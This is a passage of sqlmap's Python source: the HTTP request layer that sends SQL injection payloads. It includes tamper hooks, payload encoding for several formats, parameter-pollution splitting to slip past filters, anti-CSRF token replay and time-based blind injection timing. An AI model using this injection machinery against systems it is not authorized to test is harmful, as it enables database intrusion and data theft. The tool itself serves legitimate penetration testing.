% code singleTimeLogMessage(errMsg, logging.CRITICAL) raise SystemExit if ex.code not in (conf.ignoreCode or []): if ex.code == _http_client.UNAUTHORIZED: errMsg = "not authorized, try to provide right HTTP " errMsg += "authentication type and valid credentials (%d). " % code errMsg += "If this is intended, try to rerun by providing " errMsg += "a valid value for option '--ignore-code'" raise SqlmapConnectionException(errMsg) elif chunked and ex.code in (_http_client.METHOD_NOT_ALLOWED, _http_client.LENGTH_REQUIRED): warnMsg = "turning off HTTP chunked transfer encoding " warnMsg += "as it seems that the target site doesn't support it (%d)" % code singleTimeWarnMessage(warnMsg) conf.chunked = kwargs["chunked"] = False return Connect.getPage(**kwargs) elif ex.code == _http_client.REQUEST_URI_TOO_LONG: warnMsg = "request URI is marked as too long by the target. " warnMsg += "you are advised to try a switch '--no-cast' and/or '--no-escape'" singleTimeWarnMessage(warnMsg) elif ex.code == _http_client.NOT_FOUND: if raise404: errMsg = "page not found (%d)" % code raise SqlmapConnectionException(errMsg) else: debugMsg = "page not found (%d)" % code singleTimeLogMessage(debugMsg, logging.DEBUG) elif ex.code == _http_client.GATEWAY_TIMEOUT: if ignoreTimeout: return None if not conf.ignoreTimeouts else "", None, None else: warnMsg = "unable to connect to the target URL (%d - %s)" % (ex.code, _http_client.responses[ex.code]) if threadData.retriesCount < conf.retries and not kb.threadException: warnMsg += ". sqlmap is going to retry the request" logger.critical(warnMsg) return Connect._retryProxy(**kwargs) elif kb.testMode: logger.critical(warnMsg) return None, None, None else: raise SqlmapConnectionException(warnMsg) else: debugMsg = "got HTTP error code: %d ('%s')" % (code, status) logger.debug(debugMsg) except (_urllib.error.URLError, socket.error, socket.timeout, _http_client.HTTPException, struct.error, binascii.Error, ProxyError, SqlmapCompressionException, WebSocketException, TypeError, ValueError, OverflowError, AttributeError, OSError, AssertionError, KeyError): tbMsg = traceback.format_exc() if conf.debug: dataToStdout(tbMsg) if checking: return None, None, None elif "KeyError:" in tbMsg: if "content-length" in tbMsg: return None, None, None else: raise elif "AttributeError:" in tbMsg: if "WSAECONNREFUSED" in tbMsg: return None, None, None else: raise elif "no host given" in tbMsg: warnMsg = "invalid URL address used (%s)" % repr(url) raise SqlmapSyntaxException(warnMsg) elif any(_ in tbMsg for _ in ("forcibly closed", "Connection is already closed", "ConnectionAbortedError")): warnMsg = "connection was forcibly closed by the target URL" elif "timed out" in tbMsg: if kb.testMode and kb.testType not in (None, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED): singleTimeWarnMessage("there is a possibility that the target (or WAF/IPS) is dropping 'suspicious' requests") kb.droppingRequests = True warnMsg = "connection timed out to the target URL" elif "Connection reset" in tbMsg: if not conf.disablePrecon: singleTimeWarnMessage("turning off pre-connect mechanism because of connection reset(s)") conf.disablePrecon = True if kb.testMode: singleTimeWarnMessage("there is a possibility that the target (or WAF/IPS) is resetting 'suspicious' requests") kb.droppingRequests = True warnMsg = "connection reset to the target URL" elif "URLError" in tbMsg or "error" in tbMsg: warnMsg = "unable to connect to the target URL" match = re.search(r"Errno \d+\] ([^>\n]+)", tbMsg) if match: warnMsg += " ('%s')" % match.group(1).strip() elif "NTLM" in tbMsg: warnMsg = "there has been a problem with NTLM authentication" elif "Invalid header name" in tbMsg: # (e.g. PostgreSQL ::Text payload) return None, None, None elif "BadStatusLine" in tbMsg: warnMsg = "connection dropped or unknown HTTP " warnMsg += "status code received" if not conf.agent and not conf.randomAgent: warnMsg += ". Try to force the HTTP User-Agent " warnMsg += "header with option '--user-agent' or switch '--random-agent'" elif "IncompleteRead" in tbMsg: warnMsg = "there was an incomplete read error while retrieving data " warnMsg += "from the target URL" elif "Handshake status" in tbMsg: status = re.search(r"Handshake status ([\d]{3})", tbMsg) errMsg = "websocket handshake status %s" % status.group(1) if status else "unknown" raise SqlmapConnectionException(errMsg) elif "SqlmapCompressionException" in tbMsg: warnMsg = "problems with response (de)compression" retrying = True else: warnMsg = "unable to connect to the target URL" if "BadStatusLine" not in tbMsg and any((conf.proxy, conf.tor)): warnMsg += " or proxy" if silent: return None, None, None with kb.locks.connError: kb.connErrorCounter += 1 if kb.connErrorCounter >= MAX_CONSECUTIVE_CONNECTION_ERRORS and kb.choices.connError is None: message = "there seems to be a continuous problem with connection to the target. " message += "Are you sure that you want to continue? [y/N] " kb.choices.connError = readInput(message, default='N', boolean=True) if kb.choices.connError is False: raise SqlmapSkipTargetException if "forcibly closed" in tbMsg: logger.critical(warnMsg) return None, None, None elif ignoreTimeout and any(_ in tbMsg for _ in ("timed out", "IncompleteRead", "Interrupted system call")): return None if not conf.ignoreTimeouts else "", None, None elif threadData.retriesCount < conf.retries and not kb.threadException: warnMsg += ". sqlmap is going to retry the request" if not retrying: warnMsg += "(s)" logger.critical(warnMsg) else: logger.debug(warnMsg) return Connect._retryProxy(**kwargs) elif kb.testMode or kb.multiThreadMode: logger.critical(warnMsg) return None, None, None else: raise SqlmapConnectionException(warnMsg) finally: for function in kb.postprocessFunctions: try: page, responseHeaders, code = function(page, responseHeaders, code) except Exception as ex: errMsg = "error occurred while running postprocess " errMsg += "function '%s' ('%s')" % (function.__name__, getSafeExString(ex)) raise SqlmapGenericException(errMsg) if isinstance(page, six.binary_type): if HTTP_HEADER.CONTENT_TYPE in (responseHeaders or {}) and not re.search(TEXT_CONTENT_TYPE_REGEX, responseHeaders[HTTP_HEADER.CONTENT_TYPE]): page = six.text_type(page, errors="ignore") else: page = getUnicode(page) for _ in (getattr(conn, "redcode", None), code): if _ is not None and _ in conf.abortCode: errMsg = "aborting due to detected HTTP code '%d'" % _ singleTimeLogMessage(errMsg, logging.CRITICAL) raise SystemExit threadData.lastPage = page threadData.lastCode = code socket.setdefaulttimeout(conf.timeout) # Dirty patch for Python3.11.0a7 (e.g. https://github.com/sqlmapproject/sqlmap/issues/5091) if not sys.version.startswith("3.11."): if conf.retryOn and re.search(conf.retryOn, page, re.I): if threadData.retriesCount < conf.retries: warnMsg = "forced retry of the request because of undesired page content" logger.warning(warnMsg) return Connect._retryProxy(**kwargs) processResponse(page, responseHeaders, code, status) if not skipLogTraffic: if conn and getattr(conn, "redurl", None): _ = _urllib.parse.urlsplit(conn.redurl) _ = ("%s%s" % (_.path or "/", ("?%s" % _.query) if _.query else "")) requestMsg = re.sub(r"(\n[A-Z]+ ).+?( HTTP/\d)", r"\g<1>%s\g<2>" % getUnicode(_).replace("\\", "\\\\"), requestMsg, 1) if kb.resendPostOnRedirect is False: requestMsg = re.sub(r"(\[#\d+\]:\n)POST ", r"\g<1>GET ", requestMsg) requestMsg = re.sub(r"(?i)Content-length: \d+\n", "", requestMsg) requestMsg = re.sub(r"(?s)\n\n.+", "\n", requestMsg) responseMsg += "[#%d] (%s %s):\r\n" % (threadData.lastRequestUID, conn.code, status) elif "\n" not in responseMsg: responseMsg += "[#%d] (%s %s):\r\n" % (threadData.lastRequestUID, code, status) if responseHeaders: logHeaders = "".join(getUnicode(responseHeaders.headers)).strip() logHTTPTraffic(requestMsg, "%s%s\r\n\r\n%s" % (responseMsg, logHeaders, (page or "")[:MAX_CONNECTION_READ_SIZE]), start, time.time()) if conf.verbose <= 5: responseMsg += getUnicode(logHeaders) elif conf.verbose > 5: responseMsg += "%s\r\n\r\n%s" % (logHeaders, (page or "")[:MAX_CONNECTION_READ_SIZE]) if not multipart: logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg) return page, responseHeaders, code @staticmethod @stackedmethod def queryPage(value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None, removeReflection=True, disableTampering=False, ignoreSecondOrder=False): """ This method calls a function to get the target URL page content and returns its page ratio (0 <= ratio <= 1) or a boolean value representing False/True match in case of !getRatioValue """ if conf.direct: return direct(value, content) get = None post = None cookie = None ua = None referer = None host = None page = None pageLength = None uri = None code = None if not place: place = kb.injection.place or PLACE.GET kb.place = place if not auxHeaders: auxHeaders = {} raise404 = place != PLACE.URI if raise404 is None else raise404 method = method or conf.method postUrlEncode = kb.postUrlEncode value = agent.adjustLateValues(value) payload = agent.extractPayload(value) threadData = getCurrentThreadData() if conf.httpHeaders: headers = OrderedDict(conf.httpHeaders) contentType = max(headers[_] or "" if _.upper() == HTTP_HEADER.CONTENT_TYPE.upper() else "" for _ in headers) or None if (kb.postHint or conf.skipUrlEncode) and postUrlEncode: postUrlEncode = False if not (conf.skipUrlEncode and contentType): # NOTE: https://github.com/sqlmapproject/sqlmap/issues/5092 conf.httpHeaders = [_ for _ in conf.httpHeaders if _[1] != contentType] contentType = POST_HINT_CONTENT_TYPES.get(kb.postHint, PLAIN_TEXT_CONTENT_TYPE) conf.httpHeaders.append((HTTP_HEADER.CONTENT_TYPE, contentType)) if "urlencoded" in contentType: postUrlEncode = True if payload: delimiter = conf.paramDel or (DEFAULT_GET_POST_DELIMITER if place != PLACE.COOKIE else DEFAULT_COOKIE_DELIMITER) if not disableTampering and kb.tamperFunctions: for function in kb.tamperFunctions: hints = {} try: payload = function(payload=payload, headers=auxHeaders, delimiter=delimiter, hints=hints) except Exception as ex: errMsg = "error occurred while running tamper " errMsg += "function '%s' ('%s')" % (function.__name__, getSafeExString(ex)) raise SqlmapGenericException(errMsg) if not isinstance(payload, six.string_types): errMsg = "tamper function '%s' returns " % function.__name__ errMsg += "invalid payload type ('%s')" % type(payload) raise SqlmapValueException(errMsg) value = agent.replacePayload(value, payload) if hints: if HINT.APPEND in hints: value = "%s%s%s" % (value, delimiter, hints[HINT.APPEND]) if HINT.PREPEND in hints: if place == PLACE.URI: match = re.search(r"\w+\s*=\s*%s" % PAYLOAD_DELIMITER, value) or re.search(r"[^?%s/]=\s*%s" % (re.escape(delimiter), PAYLOAD_DELIMITER), value) if match: value = value.replace(match.group(0), "%s%s%s" % (hints[HINT.PREPEND], delimiter, match.group(0))) else: value = "%s%s%s" % (hints[HINT.PREPEND], delimiter, value) logger.log(CUSTOM_LOGGING.PAYLOAD, safecharencode(payload.replace('\\', BOUNDARY_BACKSLASH_MARKER)).replace(BOUNDARY_BACKSLASH_MARKER, '\\')) if place == PLACE.CUSTOM_POST and kb.postHint: if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML): # payloads in SOAP/XML should have chars > and < replaced # with their HTML encoded counterparts payload = payload.replace("&#", SAFE_HEX_MARKER) payload = payload.replace('&', "&").replace('>', ">").replace('<', "<").replace('"', """).replace("'", "'") # Reference: https://stackoverflow.com/a/1091953 payload = payload.replace(SAFE_HEX_MARKER, "&#") elif kb.postHint == POST_HINT.JSON: payload = escapeJsonValue(payload) elif kb.postHint == POST_HINT.JSON_LIKE: payload = payload.replace("'", REPLACEMENT_MARKER).replace('"', "'").replace(REPLACEMENT_MARKER, '"') payload = escapeJsonValue(payload) payload = payload.replace("'", REPLACEMENT_MARKER).replace('"', "'").replace(REPLACEMENT_MARKER, '"') value = agent.replacePayload(value, payload) else: # GET, POST, URI and Cookie payload needs to be thoroughly URL encoded if (place in (PLACE.GET, PLACE.URI, PLACE.COOKIE) or place == PLACE.CUSTOM_HEADER and value.split(',')[0].upper() == HTTP_HEADER.COOKIE.upper()) and not conf.skipUrlEncode or place in (PLACE.POST, PLACE.CUSTOM_POST) and postUrlEncode: skip = False if place == PLACE.COOKIE or place == PLACE.CUSTOM_HEADER and value.split(',')[0].upper() == HTTP_HEADER.COOKIE.upper(): if kb.choices.cookieEncode is None: msg = "do you want to URL encode cookie values (implementation specific)? %s" % ("[Y/n]" if not conf.url.endswith(".aspx") else "[y/N]") # Reference: https://support.microsoft.com/en-us/kb/313282 kb.choices.cookieEncode = readInput(msg, default='Y' if not conf.url.endswith(".aspx") else 'N', boolean=True) if not kb.choices.cookieEncode: skip = True if not skip: if place in (PLACE.POST, PLACE.CUSTOM_POST): # potential problems in other cases (e.g. URL encoding of whole URI - including path) value = urlencode(value, spaceplus=kb.postSpaceToPlus) payload = urlencode(payload, safe='%', spaceplus=kb.postSpaceToPlus) value = agent.replacePayload(value, payload) postUrlEncode = False if conf.hpp: if not any(conf.url.lower().endswith(_.lower()) for _ in (WEB_PLATFORM.ASP, WEB_PLATFORM.ASPX)): warnMsg = "HTTP parameter pollution should work only against " warnMsg += "ASP(.NET) targets" singleTimeWarnMessage(warnMsg) if place in (PLACE.GET, PLACE.POST): _ = re.escape(PAYLOAD_DELIMITER) match = re.search(r"(?P<name>\w+)=%s(?P<value>.+?)%s" % (_, _), value) if match: payload = match.group("value") for splitter in (urlencode(' '), ' '): if splitter in payload: prefix, suffix = ("*/", "/*") if splitter == ' ' else (urlencode(_) for _ in ("*/", "/*")) parts = payload.split(splitter) parts[0] = "%s%s" % (parts[0], suffix) parts[-1] = "%s%s=%s%s" % (DEFAULT_GET_POST_DELIMITER, match.group("name"), prefix, parts[-1]) for i in xrange(1, len(parts) - 1): parts[i] = "%s%s=%s%s%s" % (DEFAULT_GET_POST_DELIMITER, match.group("name"), prefix, parts[i], suffix) payload = "".join(parts) for splitter in (urlencode(','), ','): payload = payload.replace(splitter, "%s%s=" % (DEFAULT_GET_POST_DELIMITER, match.group("name"))) value = agent.replacePayload(value, payload) else: warnMsg = "HTTP parameter pollution works only with regular " warnMsg += "GET and POST parameters" singleTimeWarnMessage(warnMsg) if place: value = agent.removePayloadDelimiters(value) if PLACE.GET in conf.parameters: get = conf.parameters[PLACE.GET] if place != PLACE.GET or not value else value elif place == PLACE.GET: # Note: for (e.g.) checkWaf() when there are no GET parameters get = value if PLACE.POST in conf.parameters: post = conf.parameters[PLACE.POST] if place != PLACE.POST or not value else value elif place == PLACE.POST: post = value if PLACE.CUSTOM_POST in conf.parameters: post = conf.parameters[PLACE.CUSTOM_POST].replace(kb.customInjectionMark, "") if place != PLACE.CUSTOM_POST or not value else value post = post.replace(ASTERISK_MARKER, '*') if post else post if PLACE.COOKIE in conf.parameters: cookie = conf.parameters[PLACE.COOKIE] if place != PLACE.COOKIE or not value else value if PLACE.USER_AGENT in conf.parameters: ua = conf.parameters[PLACE.USER_AGENT] if place != PLACE.USER_AGENT or not value else value if PLACE.REFERER in conf.parameters: referer = conf.parameters[PLACE.REFERER] if place != PLACE.REFERER or not value else value if PLACE.HOST in conf.parameters: host = conf.parameters[PLACE.HOST] if place != PLACE.HOST or not value else value if PLACE.URI in conf.parameters: uri = conf.url if place != PLACE.URI or not value else value else: uri = conf.url if value and place == PLACE.CUSTOM_HEADER: if value.split(',')[0].capitalize() == PLACE.COOKIE: cookie = value.split(',', 1)[-1] else: auxHeaders[value.split(',')[0]] = value.split(',', 1)[-1] if conf.csrfToken: token = AttribDict() def _adjustParameter(paramString, parameter, newValue): retVal = paramString if urlencode(parameter) in paramString: parameter = urlencode(parameter) match = re.search(r"%s=[^&]*" % re.escape(parameter), paramString, re.I) if match: retVal = re.sub(r"(?i)%s" % re.escape(match.group(0)), ("%s=%s" % (parameter, newValue)).replace('\\', r'\\'), paramString) else: match = re.search(r"(%s[\"']\s*:\s*[\"'])([^\"']*)" % re.escape(parameter), paramString, re.I) if match: retVal = re.sub(r"(?i)%s" % re.escape(match.group(0)), "%s%s" % (match.group(1), newValue), paramString) return retVal for attempt in xrange(conf.csrfRetries + 1): if token: break if attempt > 0: warnMsg = "unable to find anti-CSRF token '%s' at '%s'" % (conf.csrfToken._original, conf.csrfUrl or conf.url) warnMsg += ". sqlmap is going to retry the request" logger.warning(warnMsg) page, headers, code = Connect.getPage(url=conf.csrfUrl or conf.url, post=conf.csrfData or (conf.data if conf.csrfUrl == conf.url else None), method=conf.csrfMethod or (conf.method if conf.csrfUrl == conf.url else None), cookie=conf.parameters.get(PLACE.COOKIE), direct=True, silent=True, ua=conf.parameters.get(PLACE.USER_AGENT), referer=conf.parameters.get(PLACE.REFERER), host=conf.parameters.get(PLACE.HOST)) page = urldecode(page) # for anti-CSRF tokens with special characters in their name (e.g. 'foo:bar=...') match = re.search(r"(?i)<input[^>]+\bname=[\"']?(?P<name>%s)\b[^>]*\bvalue=[\"']?(?P<value>[^>'\"]*)" % conf.csrfToken, page or "", re.I) if not match: match = re.search(r"(?i)<input[^>]+\bvalue=[\"']?(?P<value>[^>'\"]*)[\"']?[^>]*\bname=[\"']?(?P<name>%s)\b" % conf.csrfToken, page or "", re.I) if not match: match = re.search(r"(?P<name>%s)[\"']:[\"'](?P<value>[^\"']+)" % conf.csrfToken, page or "", re.I) if not match: match = re.search(r"\b(?P<name>%s)\s*[:=]\s*(?P<value>\w+)" % conf.csrfToken, getUnicode(headers), re.I) if not match: match = re.search(r"\b(?P<name>%s)\s*=\s*['\"]?(?P<value>[^;'\"]+)" % conf.csrfToken, page or "", re.I) if not match: match = re.search(r"<meta\s+name=[\"']?(?P<name>%s)[\"']?[^>]+\b(value|content)=[\"']?(?P<value>[^>\"']+)" % conf.csrfToken, page or "", re.I) if match: token.name, token.value = match.group("name"), match.group("value") match = re.search(r"String\.fromCharCode\(([\d+, ]+)\)", token.value) if match: token.value = "".join(_unichr(int(_)) for _ in match.group(1).replace(' ', "").split(',')) if not token: if conf.csrfUrl and conf.csrfToken and conf.csrfUrl != conf.url and code == _http_client.OK: if headers and PLAIN_TEXT_CONTENT_TYPE in headers.get(HTTP_HEADER.CONTENT_TYPE, ""): token.name = conf.csrfToken token.value = page if not token and conf.cj and any(re.search(conf.csrfToken, _.name, re.I) for _ in conf.cj): for _ in conf.cj: if re.search(conf.csrfToken, _.name, re.I): token.name, token.value = _.name, _.value if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))): if post: post = "%s%s%s=%s" % (post, conf.paramDel or DEFAULT_GET_POST_DELIMITER, token.name, token.value) elif get: get = "%s%s%s=%s" % (get, conf.paramDel or DEFAULT_GET_POST_DELIMITER, token.name, token.value) else: get = "%s=%s" % (token.name, token.value) break if not token: errMsg = "anti-CSRF token '%s' can't be found at '%s'" % (conf.csrfToken._original, conf.csrfUrl or conf.url) if not conf.csrfUrl: errMsg += ". You can try to rerun by providing " errMsg += "a valid value for option '--csrf-url'" raise SqlmapTokenException(errMsg) if token: token.value = token.value.strip("'\"") for candidate in (PLACE.GET, PLACE.POST, PLACE.CUSTOM_POST, PLACE.URI): if candidate in conf.parameters: if candidate == PLACE.URI and uri: uri = _adjustParameter(uri, token.name, token.value) elif candidate == PLACE.GET and get: get = _adjustParameter(get, token.name, token.value) elif candidate in (PLACE.POST, PLACE.CUSTOM_POST) and post: post = _adjustParameter(post, token.name, token.value) for i in xrange(len(conf.httpHeaders)): if conf.httpHeaders[i][0].lower() == token.name.lower(): conf.httpHeaders[i] = (conf.httpHeaders[i][0], token.value) if conf.rParam: def _randomizeParameter(paramString, randomParameter): retVal = paramString match = re.search(r"(\A|\b)%s=(?P<value>[^&;]*)" % re.escape(randomParameter), paramString) if match: origValue = match.group("value") newValue = randomizeParameterValue(origValue) if randomParameter not in kb.randomPool else random.sample(kb.randomPool[randomParameter], 1)[0] retVal = re.sub(r"(\A|\b)%s=[^&;]*" % re.escape(randomParameter), "%s=%s" % (randomParameter, newValue), paramString) else: match = re.search(r"(\A|\b)(%s\b[^\w]+)(?P<value>\w+)" % re.escape(randomParameter), paramString) if match: origValue = match.group("value") newValue = randomizeParameterValue(origValue) if randomParameter not in kb.randomPool else random.sample(kb.randomPool[randomParameter], 1)[0] retVal = paramString.replace(match.group(0), "%s%s" % (match.group(2), newValue)) return retVal for randomParameter in conf.rParam: for item in (PLACE.GET, PLACE.POST, PLACE.COOKIE, PLACE.URI, PLACE.CUSTOM_POST): if item in conf.parameters: if item == PLACE.GET and get: get = _randomizeParameter(get, randomParameter) elif item in (PLACE.POST, PLACE.CUSTOM_POST) and post: post = _randomizeParameter(post, randomParameter) elif item == PLACE.COOKIE and cookie: cookie = _randomizeParameter(cookie, randomParameter) elif item == PLACE.URI and uri: uri = _randomizeParameter(uri, randomParameter) if conf.evalCode: delimiter = conf.paramDel or DEFAULT_GET_POST_DELIMITER variables = {"uri": uri, "lastPage": threadData.lastPage, "_locals": locals(), "cookie": cookie} originals = {} if not get and PLACE.URI in conf.parameters: query = _urllib.parse.urlsplit(uri).query or "" else: query = None for item in filterNone((get, post if not kb.postHint else None, query)): for part in item.split(delimiter): if '=' in part: name, value = part.split('=', 1) name = name.strip() if safeVariableNaming(name) != name: conf.evalCode = re.sub(r"\b%s\b" % re.escape(name), safeVariableNaming(name), conf.evalCode) name = safeVariableNaming(name) value = urldecode(value, convall=True, spaceplus=(item == post and kb.postSpaceToPlus)) variables[name] = value if post and kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE): for name, value in (parseJson(post) or {}).items(): if safeVariableNaming(name) != name: conf.evalCode = re.sub(r"\b%s\b" % re.escape(name), safeVariableNaming(name), conf.evalCode) name = safeVariableNaming(name) variables[name] = value if cookie: for part in cookie.split(conf.cookieDel or DEFAULT_COOKIE_DELIMITER): if '=' in part: name, value = part.split('=', 1) name = name.strip() if safeVariableNaming(name) != name: conf.evalCode = re.sub(r"\b%s\b" % re.escape(name), safeVariableNaming(name), conf.evalCode) name = safeVariableNaming(name) value = urldecode(value, convall=True) variables[name] = value while True: try: compile(getBytes(re.sub(r"\s*;\s*", "\n", conf.evalCode)), "", "exec") except SyntaxError as ex: if ex.text: original = replacement = getUnicode(ex.text.strip()) if '=' in original: name, value = original.split('=', 1) name = name.strip() if safeVariableNaming(name) != name: replacement = re.sub(r"\b%s\b" % re.escape(name), safeVariableNaming(name), replacement) else: for _ in re.findall(r"[A-Za-z_]+", original)[::-1]: if safeVariableNaming(_) != _: replacement = replacement.replace(_, safeVariableNaming(_)) break if original == replacement: conf.evalCode = conf.evalCode.replace(EVALCODE_ENCODED_PREFIX, "") break else: conf.evalCode = conf.evalCode.replace(getUnicode(ex.text.strip(), UNICODE_ENCODING), replacement) else: break else: break originals.update(variables) evaluateCode(conf.evalCode, variables) for variable in list(variables.keys()): if unsafeVariableNaming(variable) != variable: entry = variables[variable] del variables[variable] variables[unsafeVariableNaming(variable)] = entry uri = variables["uri"] cookie = variables["cookie"] for name, entry in variables.items(): if name != "__builtins__" and originals.get(name, "") != entry: if isinstance(entry, (int, float, six.string_types, six.binary_type)): found = False entry = getUnicode(entry, UNICODE_ENCODING) if kb.postHint == POST_HINT.MULTIPART: boundary = "--%s" % re.search(r"boundary=([^\s]+)", contentType).group(1) if boundary: parts = post.split(boundary) match = re.search(r'\bname="%s"' % re.escape(name), post) if not match and parts: parts.insert(2, parts[1]) parts[2] = re.sub(r'\bname="[^"]+".*', 'name="%s"' % re.escape(name), parts[2]) for i in xrange(len(parts)): part = parts[i] if re.search(r'\bname="%s"' % re.escape(name), part): match = re.search(r"(?s)\A.+?\r?\n\r?\n", part) if match: found = True first = match.group(0) second = part[len(first):] second = re.sub(r"(?s).+?(\r?\n?\-*\Z)", r"%s\g<1>" % re.escape(entry), second) parts[i] = "%s%s" % (first, second) post = boundary.join(parts) elif kb.postHint and re.search(r"\b%s\b" % re.escape(name), post or ""): if kb.postHint in (POST_HINT.XML, POST_HINT.SOAP): if re.search(r"<%s\b" % re.escape(name), post): found = True post = re.sub(r"(?s)(<%s\b[^>]*>)(.*?)(</%s)" % (re.escape(name), re.escape(name)), r"\g<1>%s\g<3>" % entry.replace('\\', r'\\'), post) elif re.search(r"\b%s>" % re.escape(name), post): found = True post = re.sub(r"(?s)(\b%s>)(.*?)(</[^<]*\b%s>)" % (re.escape(name), re.escape(name)), r"\g<1>%s\g<3>" % entry.replace('\\', r'\\'), post) elif kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE): match = re.search(r"['\"]%s['\"]:" % re.escape(name), post) if match: quote = match.group(0)[0] post = post.replace("\\%s" % quote, BOUNDARY_BACKSLASH_MARKER) match = re.search(r"(%s%s%s:\s*)(\d+|%s[^%s]*%s)" % (quote, re.escape(name), quote, quote, quote, quote), post) if match: found = True post = post.replace(match.group(0), "%s%s" % (match.group(1), entry if entry.isdigit() else "%s%s%s" % (match.group(0)[0], entry, match.group(0)[0]))) post = post.replace(BOUNDARY_BACKSLASH_MARKER, "\\%s" % quote) regex = r"\b(%s)\b([^\w]+)(\w+)" % re.escape(name) if not found and re.search(regex, (post or "")): found = True post = re.sub(regex, r"\g<1>\g<2>%s" % entry.replace('\\', r'\\'), post) regex = r"((\A|%s)%s=).+?(%s|\Z)" % (re.escape(delimiter), re.escape(name), re.escape(delimiter)) if not found and re.search(regex, (post or "")): found = True post = re.sub(regex, r"\g<1>%s\g<3>" % entry.replace('\\', r'\\'), post) if re.search(regex, (get or "")): found = True get = re.sub(regex, r"\g<1>%s\g<3>" % entry.replace('\\', r'\\'), get) if re.search(regex, (query or "")): found = True uri = re.sub(regex.replace(r"\A", r"\?"), r"\g<1>%s\g<3>" % entry.replace('\\', r'\\'), uri) regex = r"((\A|%s\s*)%s=).+?(%s|\Z)" % (re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER), re.escape(name), re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER)) if re.search(regex, (cookie or "")): found = True cookie = re.sub(regex, r"\g<1>%s\g<3>" % entry.replace('\\', r'\\'), cookie) if not found: if post is not None: if kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE): match = re.search(r"['\"]", post) if match: quote = match.group(0) post = re.sub(r"\}\Z", "%s%s}" % (',' if re.search(r"\w", post) else "", "%s%s%s:%s" % (quote, name, quote, entry if entry.isdigit() else "%s%s%s" % (quote, entry, quote))), post) else: post += "%s%s=%s" % (delimiter, name, entry) elif get is not None: get += "%s%s=%s" % (delimiter, name, entry) elif cookie is not None: cookie += "%s%s=%s" % (conf.cookieDel or DEFAULT_COOKIE_DELIMITER, name, entry) if not conf.skipUrlEncode: get = urlencode(get, limit=True) if post is not None: if place not in (PLACE.POST, PLACE.CUSTOM_POST) and hasattr(post, UNENCODED_ORIGINAL_VALUE): post = getattr(post, UNENCODED_ORIGINAL_VALUE) elif postUrlEncode: post = urlencode(post, spaceplus=kb.postSpaceToPlus) if timeBasedCompare and not conf.disableStats: if len(kb.responseTimes.get(kb.responseTimeMode, [])) < MIN_TIME_RESPONSES: clearConsoleLine() kb.responseTimes.setdefault(kb.responseTimeMode, []) if conf.tor: warnMsg = "it's highly recommended to avoid usage of switch '--tor' for " warnMsg += "time-based injections because of inherent high latency time" singleTimeWarnMessage(warnMsg) warnMsg = "[%s] [WARNING] %stime-based comparison requires " % (time.strftime("%X"), "(case) " if kb.responseTimeMode else "") warnMsg += "%s statistical model, please wait" % ("larger" if len(kb.responseTimes) == 1 else "reset of") dataToStdout(warnMsg) while len(kb.responseTimes[kb.responseTimeMode]) < MIN_TIME_RESPONSES: _ = kb.responseTimePayload.replace(RANDOM_INTEGER_MARKER, str(randomInt(6))).replace(RANDOM_STRING_MARKER, randomStr()) if kb.responseTimePayload else kb.responseTimePayload Connect.queryPage(value=_, content=True, raise404=False) dataToStdout('.') dataToStdout(" (done)\n") elif not kb.testMode: warnMsg = "it is very important to not stress the network connection " warnMsg += "during usage of time-based payloads to prevent potential " warnMsg += "disruptions " singleTimeWarnMessage(warnMsg) if not kb.laggingChecked: kb.laggingChecked = True deviation = stdev(kb.responseTimes[kb.responseTimeMode]) if deviation is not None and deviation > WARN_TIME_STDEV: kb.adjustTimeDelay = ADJUST_TIME_DELAY.DISABLE warnMsg = "considerable lagging has been detected " warnMsg += "in connection response(s). Please use as high " warnMsg += "value for option '--time-sec' as possible (e.g. " warnMsg += "10 or more)" logger.critical(warnMsg) if (conf.safeFreq or 0) > 0: kb.queryCounter += 1 if kb.queryCounter % conf.safeFreq == 0: if conf.safeUrl: Connect.getPage(url=conf.safeUrl, post=conf.safePost, cookie=cookie, direct=True, silent=True, ua=ua, referer=referer, host=host) elif kb.safeReq: Connect.getPage(url=kb.safeReq.url, post=kb.safeReq.post, method=kb.safeReq.method, auxHeaders=kb.safeReq.headers) start = time.time() if kb.nullConnection and not content and not response and not timeBasedCompare: noteResponseTime = False try: pushValue(kb.pageCompress) kb.pageCompress = False if kb.nullConnection == NULLCONNECTION.HEAD: method = HTTPMETHOD.HEAD elif kb.nullConnection == NULLCONNECTION.RANGE: auxHeaders[HTTP_HEADER.RANGE] = "bytes=-1" _, headers, code = Connect.getPage(url=uri, get=get, post=post, method=method, cookie=cookie, ua=ua, referer=referer, host=host, silent=silent, auxHeaders=auxHeaders, raise404=raise404, skipRead=(kb.nullConnection == NULLCONNECTION.SKIP_READ)) if headers: try: if kb.nullConnection in (NULLCONNECTION.HEAD, NULLCONNECTION.SKIP_READ) and headers.get(HTTP_HEADER.CONTENT_LENGTH): pageLength = int(headers[HTTP_HEADER.CONTENT_LENGTH].split(',')[0]) elif kb.nullConnection == NULLCONNECTION.RANGE and headers.get(HTTP_HEADER.CONTENT_RANGE): pageLength = int(headers[HTTP_HEADER.CONTENT_RANGE][headers[HTTP_HEADER.CONTENT_RANGE].find('/') + 1:]) except ValueError: pass finally: kb.pageCompress = popValue() if pageLength is None: try: page, headers, code = Connect.getPage(url=uri, get=get, post=post, method=method, cookie=cookie, ua=ua, referer=referer, host=host, silent=silent, auxHeaders=auxHeaders, response=response, raise404=raise404, ignoreTimeout=timeBasedCompare) except MemoryError: page, headers, code = None, None, None warnMsg = "site returned insanely large response" if kb.testMode: warnMsg += " in testing phase. This is a common " warnMsg += "behavior in custom WAF/IPS solutions" singleTimeWarnMessage(warnMsg) if not ignoreSecondOrder: if conf.secondUrl: page, headers, code = Connect.getPage(url=conf.secondUrl, cookie=cookie, ua=ua, silent=silent, auxHeaders=auxHeaders, response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True) elif kb.secondReq and IPS_WAF_CHECK_PAYLOAD not in 